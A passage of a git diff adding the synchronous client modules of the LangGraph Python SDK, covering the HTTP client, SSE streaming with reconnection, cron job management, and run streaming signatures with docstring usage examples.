None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Change the version of an assistant. + + Args: + assistant_id: The assistant ID to delete. + version: The version to change to. + headers: Optional custom headers to include with the request. + + Returns: + `Assistant` Object. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + new_version_assistant = client.assistants.set_latest( + assistant_id="my_assistant_id", + version=3 + ) + ``` + + """ + + payload: dict[str, Any] = {"version": version} + + return self.http.post( + f"/assistants/{_quote_path_param(assistant_id)}/latest", + json=payload, + headers=headers, + params=params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_sync/client.py b/libs/sdk-py/langgraph_sdk/_sync/client.py new file mode 100644 index 0000000..0d943b5 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/client.py @@ -0,0 +1,127 @@ +"""Sync LangGraph client.""" + +from __future__ import annotations + +from collections.abc import Mapping +from types import TracebackType + +import httpx + +from langgraph_sdk._shared.types import TimeoutTypes +from langgraph_sdk._shared.utilities import NOT_PROVIDED, _get_headers +from langgraph_sdk._sync.assistants import SyncAssistantsClient +from langgraph_sdk._sync.cron import SyncCronClient +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.runs import SyncRunsClient +from langgraph_sdk._sync.store import SyncStoreClient +from langgraph_sdk._sync.threads import SyncThreadsClient + + +def get_sync_client( + *, + url: str | None = None, + api_key: str | None = NOT_PROVIDED, + headers: Mapping[str, str] | None = None, + timeout: TimeoutTypes | None = None, +) -> SyncLangGraphClient: + """Get a synchronous LangGraphClient instance. + + Args: + url: The URL of the LangGraph API. + api_key: API key for authentication. Can be: + - A string: use this exact API key + - `None`: explicitly skip loading from environment variables + - Not provided (default): auto-load from environment in this order: + 1. `LANGGRAPH_API_KEY` + 2. `LANGSMITH_API_KEY` + 3. `LANGCHAIN_API_KEY` + headers: Optional custom headers + timeout: Optional timeout configuration for the HTTP client. + Accepts an httpx.Timeout instance, a float (seconds), or a tuple of timeouts. + Tuple format is (connect, read, write, pool) + If not provided, defaults to connect=5s, read=300s, write=300s, and pool=5s. + Returns: + SyncLangGraphClient: The top-level synchronous client for accessing AssistantsClient, + ThreadsClient, RunsClient, and CronClient. + + ???+ example "Example" + + ```python + from langgraph_sdk import get_sync_client + + # get top-level synchronous LangGraphClient + client = get_sync_client(url="http://localhost:8123") + + # example usage: client..() + assistant = client.assistants.get(assistant_id="some_uuid") + ``` + + ???+ example "Skip auto-loading API key from environment:" + + ```python + from langgraph_sdk import get_sync_client + + # Don't load API key from environment variables + client = get_sync_client( + url="http://localhost:8123", + api_key=None + ) + ``` + """ + + if url is None: + url = "http://localhost:8123" + + transport = httpx.HTTPTransport(retries=5) + client = httpx.Client( + base_url=url, + transport=transport, + timeout=( + httpx.Timeout(timeout) # ty: ignore[invalid-argument-type] + if timeout is not None + else httpx.Timeout(connect=5, read=300, write=300, pool=5) + ), + headers=_get_headers(api_key, headers), + ) + return SyncLangGraphClient(client) + + +class SyncLangGraphClient: + """Synchronous client for interacting with the LangGraph API. + + This class provides synchronous access to LangGraph API endpoints for managing + assistants, threads, runs, cron jobs, and data storage. + + ???+ example "Example" + + ```python + client = get_sync_client(url="http://localhost:2024") + assistant = client.assistants.get("asst_123") + ``` + """ + + def __init__(self, client: httpx.Client) -> None: + self.http = SyncHttpClient(client) + self.assistants = SyncAssistantsClient(self.http) + self.threads = SyncThreadsClient(self.http) + self.runs = SyncRunsClient(self.http) + self.crons = SyncCronClient(self.http) + self.store = SyncStoreClient(self.http) + + def __enter__(self) -> SyncLangGraphClient: + """Enter the sync context manager.""" + return self + + def __exit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: TracebackType | None, + ) -> None: + """Exit the sync context manager.""" + self.close() + + def close(self) -> None: + """Close the underlying HTTP client.""" + if hasattr(self, "http"): + self.http.client.close() diff --git a/libs/sdk-py/langgraph_sdk/_sync/cron.py b/libs/sdk-py/langgraph_sdk/_sync/cron.py new file mode 100644 index 0000000..24acae5 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/cron.py @@ -0,0 +1,521 @@ +"""Synchronous cron client for LangGraph SDK.""" + +from __future__ import annotations + +import warnings +from collections.abc import Mapping, Sequence +from datetime import datetime, tzinfo +from typing import Any + +from langgraph_sdk._shared.utilities import _quote_path_param, _resolve_timezone +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk.schema import ( + All, + Config, + Context, + Cron, + CronSelectField, + CronSortBy, + Durability, + Input, + Json, + OnCompletionBehavior, + QueryParamTypes, + Run, + SortOrder, + StreamMode, +) + + +class SyncCronClient: + """Synchronous client for managing cron jobs in LangGraph. + + This class provides methods to create and manage scheduled tasks (cron jobs) for automated graph executions. + + ???+ example "Example" + + ```python + client = get_sync_client(url="http://localhost:8123") + cron_job = client.crons.create_for_thread(thread_id="thread_123", assistant_id="asst_456", schedule="0 * * * *") + ``` + + !!! note "Feature Availability" + + The crons client functionality is not supported on all licenses. + Please check the relevant license documentation for the most up-to-date + details on feature availability. + """ + + def __init__(self, http_client: SyncHttpClient) -> None: + self.http = http_client + + def create_for_thread( + self, + thread_id: str, + assistant_id: str, + *, + schedule: str, + input: Input | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | list[str] | None = None, + interrupt_after: All | list[str] | None = None, + webhook: str | None = None, + multitask_strategy: str | None = None, + end_time: datetime | None = None, + enabled: bool | None = None, + timezone: str | tzinfo | None = None, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + stream_subgraphs: bool | None = None, + stream_resumable: bool | None = None, + durability: Durability | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Run: + """Create a cron job for a thread. + + Args: + thread_id: the thread ID to run the cron job on. + assistant_id: The assistant ID or graph name to use for the cron job. + If using graph name, will default to first assistant created from that graph. + schedule: The cron schedule to execute this job on. + Schedules are interpreted in UTC unless a timezone is specified. + input: The input to the graph. + metadata: Metadata to assign to the cron job runs. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely. + enabled: Whether the cron job is enabled. By default, it is considered enabled. + timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``). + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether to persist the stream chunks in order to resume the stream later. + durability: Durability level for the run. Must be one of 'sync', 'async', or 'exit'. + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + headers: Optional custom headers to include with the request. + + Returns: + The cron `Run`. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + cron_run = client.crons.create_for_thread( + thread_id="my-thread-id", + assistant_id="agent", + schedule="27 15 * * *", + input={"messages": [{"role": "user", "content": "hello!"}]}, + metadata={"name":"my_run"}, + context={"model_name": "openai"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt", + enabled=True + ) + ``` + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + + payload = { + "schedule": schedule, + "input": input, + "config": config, + "metadata": metadata, + "context": context, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "checkpoint_during": checkpoint_during, + "webhook": webhook, + "multitask_strategy": multitask_strategy, + "end_time": end_time.isoformat() if end_time else None, + "enabled": enabled, + "timezone": _resolve_timezone(timezone), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "durability": durability, + } + payload = {k: v for k, v in payload.items() if v is not None} + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/runs/crons", + json=payload, + headers=headers, + params=params, + ) + + def create( + self, + assistant_id: str, + *, + schedule: str, + input: Input | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | list[str] | None = None, + interrupt_after: All | list[str] | None = None, + webhook: str | None = None, + on_run_completed: OnCompletionBehavior | None = None, + multitask_strategy: str | None = None, + end_time: datetime | None = None, + enabled: bool | None = None, + timezone: str | tzinfo | None = None, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + stream_subgraphs: bool | None = None, + stream_resumable: bool | None = None, + durability: Durability | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Run: + """Create a cron run. + + Args: + assistant_id: The assistant ID or graph name to use for the cron job. + If using graph name, will default to first assistant created from that graph. + schedule: The cron schedule to execute this job on. + Schedules are interpreted in UTC unless a timezone is specified. + input: The input to the graph. + metadata: Metadata to assign to the cron job runs. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + on_run_completed: What to do with the thread after the run completes. + Must be one of 'delete' (default) or 'keep'. 'delete' removes the thread + after execution. 'keep' creates a new thread for each execution but does not + clean them up. Clients are responsible for cleaning up kept threads. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely. + enabled: Whether the cron job is enabled. By default, it is considered enabled. + timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``). + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether to persist the stream chunks in order to resume the stream later. + durability: Durability level for the run. Must be one of 'sync', 'async', or 'exit'. + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + headers: Optional custom headers to include with the request. + + Returns: + The cron `Run`. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + cron_run = client.crons.create( + assistant_id="agent", + schedule="27 15 * * *", + input={"messages": [{"role": "user", "content": "hello!"}]}, + metadata={"name":"my_run"}, + context={"model_name": "openai"}, + checkpoint_during=True, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt", + enabled=True + ) + ``` + + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + + payload = { + "schedule": schedule, + "input": input, + "config": config, + "metadata": metadata, + "context": context, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "checkpoint_during": checkpoint_during, + "on_run_completed": on_run_completed, + "multitask_strategy": multitask_strategy, + "end_time": end_time.isoformat() if end_time else None, + "enabled": enabled, + "timezone": _resolve_timezone(timezone), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "durability": durability, + } + payload = {k: v for k, v in payload.items() if v is not None} + return self.http.post( + "/runs/crons", json=payload, headers=headers, params=params + ) + + def delete( + self, + cron_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete a cron. + + Args: + cron_id: The cron ID to delete. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + client.crons.delete( + cron_id="cron_to_delete" + ) + ``` + + """ + self.http.delete( + f"/runs/crons/{_quote_path_param(cron_id)}", headers=headers, params=params + ) + + def update( + self, + cron_id: str, + *, + schedule: str | None = None, + end_time: datetime | None = None, + input: Input | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + webhook: str | None = None, + interrupt_before: All | list[str] | None = None, + interrupt_after: All | list[str] | None = None, + on_run_completed: OnCompletionBehavior | None = None, + enabled: bool | None = None, + timezone: str | tzinfo | None = None, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + stream_subgraphs: bool | None = None, + stream_resumable: bool | None = None, + durability: Durability | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Cron: + """Update a cron job by ID. + + Args: + cron_id: The cron ID to update. + schedule: The cron schedule to execute this job on. + Schedules are interpreted in UTC unless a timezone is specified. + end_time: The end date to stop running the cron. + input: The input to the graph. + metadata: Metadata to assign to the cron job runs. + config: The configuration for the assistant. + context: Static context added to the assistant. + webhook: Webhook to call after LangGraph API call is done. + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to interrupt immediately after they get executed. + on_run_completed: What to do with the thread after the run completes. + Must be one of 'delete' or 'keep'. 'delete' removes the thread + after execution. 'keep' creates a new thread for each execution but does not + clean them up. + enabled: Enable or disable the cron job. + timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``). + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether to persist the stream chunks in order to resume the stream later. + durability: Durability level for the run. Must be one of 'sync', 'async', or 'exit'. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The updated cron job. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + updated_cron = client.crons.update( + cron_id="1ef3cefa-4c09-6926-96d0-3dc97fd5e39b", + schedule="0 10 * * *", + enabled=False, + ) + ``` + + """ + payload = { + "schedule": schedule, + "end_time": end_time.isoformat() if end_time else None, + "input": input, + "metadata": metadata, + "config": config, + "context": context, + "webhook": webhook, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "on_run_completed": on_run_completed, + "enabled": enabled, + "timezone": _resolve_timezone(timezone), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "durability": durability, + } + payload = {k: v for k, v in payload.items() if v is not None} + return self.http.patch( + f"/runs/crons/{_quote_path_param(cron_id)}", + json=payload, + headers=headers, + params=params, + ) + + def search( + self, + *, + assistant_id: str | None = None, + thread_id: str | None = None, + enabled: bool | None = None, + metadata: Json = None, + limit: int = 10, + offset: int = 0, + sort_by: CronSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[CronSelectField] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[Cron]: + """Get a list of cron jobs. + + Args: + assistant_id: The assistant ID or graph name to search for. + thread_id: the thread ID to search for. + enabled: Whether the cron job is enabled. + metadata: Metadata to filter by. Exact match filter for each KV pair. + !!! version-added "Added in Agent Server version 0.9.0" + limit: The maximum number of results to return. + offset: The number of results to skip. + headers: Optional custom headers to include with the request. + + Returns: + The list of cron jobs returned by the search, + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:8123") + cron_jobs = client.crons.search( + assistant_id="my_assistant_id", + thread_id="my_thread_id", + enabled=True, + limit=5, + offset=5, + ) + print(cron_jobs) + ``` + + ```shell + ---------------------------------------------------------- + + [ + { + 'cron_id': '1ef3cefa-4c09-6926-96d0-3dc97fd5e39b', + 'assistant_id': 'my_assistant_id', + 'thread_id': 'my_thread_id', + 'user_id': None, + 'payload': + { + 'input': {'start_time': ''}, + 'schedule': '4 * * * *', + 'assistant_id': 'my_assistant_id' + }, + 'schedule': '4 * * * *', + 'next_run_date': '2024-07-25T17:04:00+00:00', + 'end_time': None, + 'created_at': '2024-07-08T06:02:23.073257+00:00', + 'updated_at': '2024-07-08T06:02:23.073257+00:00' + } + ] + ``` + """ + payload: dict[str, Any] = { + "assistant_id": assistant_id, + "thread_id": thread_id, + "enabled": enabled, + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + if sort_by: + payload["sort_by"] = sort_by + if sort_order: + payload["sort_order"] = sort_order + if select: + payload["select"] = select + payload = {k: v for k, v in payload.items() if v is not None} + return self.http.post( + "/runs/crons/search", json=payload, headers=headers, params=params + ) + + def count( + self, + *, + assistant_id: str | None = None, + thread_id: str | None = None, + metadata: Json = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> int: + """Count cron jobs matching filters. + + Args: + assistant_id: Assistant ID to filter by. + thread_id: Thread ID to filter by. + metadata: Metadata to filter by. Exact match filter for each KV pair. + !!! version-added "Added in Agent Server version 0.9.0" + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + int: Number of crons matching the criteria. + """ + payload: dict[str, Any] = {} + if assistant_id: + payload["assistant_id"] = assistant_id + if thread_id: + payload["thread_id"] = thread_id + if metadata: + payload["metadata"] = metadata + return self.http.post( + "/runs/crons/count", json=payload, headers=headers, params=params + ) diff --git a/libs/sdk-py/langgraph_sdk/_sync/http.py b/libs/sdk-py/langgraph_sdk/_sync/http.py new file mode 100644 index 0000000..ba56543 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/http.py @@ -0,0 +1,303 @@ +"""Synchronous HTTP client for LangGraph API.""" + +from __future__ import annotations + +import logging +import sys +import warnings +from collections.abc import Callable, Iterator, Mapping +from typing import Any, cast + +import httpx +import orjson + +from langgraph_sdk._shared.utilities import ( + _orjson_default, + _validate_reconnect_location, +) +from langgraph_sdk.errors import _raise_for_status_typed +from langgraph_sdk.schema import QueryParamTypes, StreamPart +from langgraph_sdk.sse import SSEDecoder, iter_lines_raw + +logger = logging.getLogger(__name__) + + +class SyncHttpClient: + """Handle synchronous requests to the LangGraph API. + + Provides error messaging and content handling enhancements above the + underlying httpx client, mirroring the interface of [HttpClient](#HttpClient) + but for sync usage. + + Attributes: + client (httpx.Client): Underlying HTTPX sync client. + """ + + def __init__(self, client: httpx.Client) -> None: + self.client = client + + def get( + self, + path: str, + *, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `GET` request.""" + r = self.client.get(path, params=params, headers=headers) + if on_response: + on_response(r) + _raise_for_status_typed(r) + return _decode_json(r) + + def post( + self, + path: str, + *, + json: dict[str, Any] | list | None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `POST` request.""" + if json is not None: + request_headers, content = _encode_json(json) + else: + request_headers, content = {}, b"" + if headers: + request_headers.update(headers) + r = self.client.post( + path, headers=request_headers, content=content, params=params + ) + if on_response: + on_response(r) + _raise_for_status_typed(r) + return _decode_json(r) + + def put( + self, + path: str, + *, + json: dict, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `PUT` request.""" + request_headers, content = _encode_json(json) + if headers: + request_headers.update(headers) + + r = self.client.put( + path, headers=request_headers, content=content, params=params + ) + if on_response: + on_response(r) + _raise_for_status_typed(r) + return _decode_json(r) + + def patch( + self, + path: str, + *, + json: dict, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Any: + """Send a `PATCH` request.""" + request_headers, content = _encode_json(json) + if headers: + request_headers.update(headers) + r = self.client.patch( + path, headers=request_headers, content=content, params=params + ) + if on_response: + on_response(r) + _raise_for_status_typed(r) + return _decode_json(r) + + def delete( + self, + path: str, + *, + json: Any | None = None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> None: + """Send a `DELETE` request.""" + r = self.client.request( + "DELETE", path, json=json, params=params, headers=headers + ) + if on_response: + on_response(r) + _raise_for_status_typed(r) + + def request_reconnect( + self, + path: str, + method: str, + *, + json: dict[str, Any] | None = None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + reconnect_limit: int = 5, + ) -> Any: + """Send a request that automatically reconnects to Location header.""" + request_headers, content = _encode_json(json) + if headers: + request_headers.update(headers) + with self.client.stream( + method, path, headers=request_headers, content=content, params=params + ) as r: + if on_response: + on_response(r) + try: + r.raise_for_status() + except httpx.HTTPStatusError as e: + body = r.read().decode() + if sys.version_info >= (3, 11): + e.add_note(body) + else: + logger.error(f"Error from langgraph-api: {body}", exc_info=e) + raise e + loc = r.headers.get("location") + if reconnect_limit <= 0 or not loc: + return _decode_json(r) + _validate_reconnect_location(self.client.base_url, loc) + try: + return _decode_json(r) + except httpx.HTTPError: + warnings.warn( + f"Request failed, attempting reconnect to Location: {loc}", + stacklevel=2, + ) + r.close() + return self.request_reconnect( + loc, + "GET", + headers=request_headers, + # don't pass on_response so it's only called once + reconnect_limit=reconnect_limit - 1, + ) + + def stream( + self, + path: str, + method: str, + *, + json: dict[str, Any] | None = None, + params: QueryParamTypes | None = None, + headers: Mapping[str, str] | None = None, + on_response: Callable[[httpx.Response], None] | None = None, + ) -> Iterator[StreamPart]: + """Stream the results of a request using SSE.""" + if json is not None: + request_headers, content = _encode_json(json) + else: + request_headers, content = {}, None + request_headers["Accept"] = "text/event-stream" + request_headers["Cache-Control"] = "no-store" + if headers: + request_headers.update(headers) + + reconnect_headers = { + key: value + for key, value in request_headers.items() + if key.lower() not in {"content-length", "content-type"} + } + + last_event_id: str | None = None + reconnect_path: str | None = None + reconnect_attempts = 0 + max_reconnect_attempts = 5 + + while True: + current_headers = dict( + request_headers if reconnect_path is None else reconnect_headers + ) + if last_event_id is not None: + current_headers["Last-Event-ID"] = last_event_id + + current_method = method if reconnect_path is None else "GET" + current_content = content if reconnect_path is None else None + current_params = params if reconnect_path is None else None + + retry = False + with self.client.stream( + current_method, + reconnect_path or path, + headers=current_headers, + content=current_content, + params=current_params, + ) as res: + if reconnect_path is None and on_response: + on_response(res) + # check status + _raise_for_status_typed(res) + # check content type + content_type = res.headers.get("content-type", "").partition(";")[0] + if "text/event-stream" not in content_type: + raise httpx.TransportError( + "Expected response header Content-Type to contain 'text/event-stream', " + f"got {content_type!r}" + ) + + reconnect_location = res.headers.get("location") + if reconnect_location: + _validate_reconnect_location( + self.client.base_url, reconnect_location + ) + reconnect_path = reconnect_location + + decoder = SSEDecoder() + try: + for line in iter_lines_raw(res): + sse = decoder.decode(cast(bytes, line).rstrip(b"\n")) + if sse is not None: + if decoder.last_event_id is not None: + last_event_id = decoder.last_event_id + if sse.event or sse.data is not None: + yield sse + except httpx.HTTPError: + # httpx.TransportError inherits from HTTPError, so transient + # disconnects during streaming land here. + if reconnect_path is None: + raise + retry = True + else: + if sse := decoder.decode(b""): + if decoder.last_event_id is not None: + last_event_id = decoder.last_event_id + if sse.event or sse.data is not None: + # See async stream implementation for rationale on + # skipping empty flush events. + yield sse + if retry: + reconnect_attempts += 1 + if reconnect_attempts > max_reconnect_attempts: + raise httpx.TransportError( + "Exceeded maximum SSE reconnection attempts" + ) + continue + break + + +def _encode_json(json: Any) -> tuple[dict[str, str], bytes]: + body = orjson.dumps( + json, + _orjson_default, + orjson.OPT_SERIALIZE_NUMPY | orjson.OPT_NON_STR_KEYS, + ) + content_length = str(len(body)) + content_type = "application/json" + headers = {"Content-Length": content_length, "Content-Type": content_type} + return headers, body + + +def _decode_json(r: httpx.Response) -> Any: + body = r.read() + return orjson.loads(body) if body else None diff --git a/libs/sdk-py/langgraph_sdk/_sync/runs.py b/libs/sdk-py/langgraph_sdk/_sync/runs.py new file mode 100644 index 0000000..5d2d170 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/runs.py @@ -0,0 +1,1171 @@ +"""Synchronous client for managing runs in LangGraph.""" + +from __future__ import annotations + +import builtins +import warnings +from collections.abc import Callable, Iterator, Mapping, Sequence +from typing import Any, Literal, overload + +import httpx + +from langgraph_sdk._shared.utilities import ( + _get_run_metadata_from_response, + _quote_path_param, + _sse_to_v2_dict, +) +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk.schema import ( + All, + BulkCancelRunsStatus, + CancelAction, + Checkpoint, + Command, + Config, + Context, + DisconnectMode, + Durability, + IfNotExists, + Input, + LangSmithTracing, + MultitaskStrategy, + OnCompletionBehavior, + QueryParamTypes, + Run, + RunCreate, + RunCreateMetadata, + RunSelectField, + RunStatus, + StreamMode, + StreamPart, + StreamPartV2, + StreamVersion, +) + + +def _wrap_stream_v2_sync( + raw: Iterator[StreamPart], +) -> Iterator[StreamPartV2]: + """Wrap a raw SSE stream, converting each event to a v2 dict.""" + for part in raw: + v2 = _sse_to_v2_dict(part.event, part.data) + if v2 is not None: + yield v2 # ty: ignore[invalid-yield] + + +class SyncRunsClient: + """Synchronous client for managing runs in LangGraph. + + This class provides methods to create, retrieve, and manage runs, which represent + individual executions of graphs. + + ???+ example "Example" + + ```python + client = get_sync_client(url="http://localhost:2024") + run = client.runs.create(thread_id="thread_123", assistant_id="asst_456") + ``` + """ + + def __init__(self, http: SyncHttpClient) -> None: + self.http = http + + @overload + def stream( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v1"] = "v1", + ) -> Iterator[StreamPart]: ... + + @overload + def stream( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v2"], + ) -> Iterator[StreamPartV2]: ... + + @overload + def stream( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + webhook: str | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v1"] = "v1", + ) -> Iterator[StreamPart]: ... + + @overload + def stream( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + feedback_keys: Sequence[str] | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + webhook: str | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + version: Literal["v2"], + ) -> Iterator[StreamPartV2]: ... + + def stream( + self, + thread_id: str | None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + 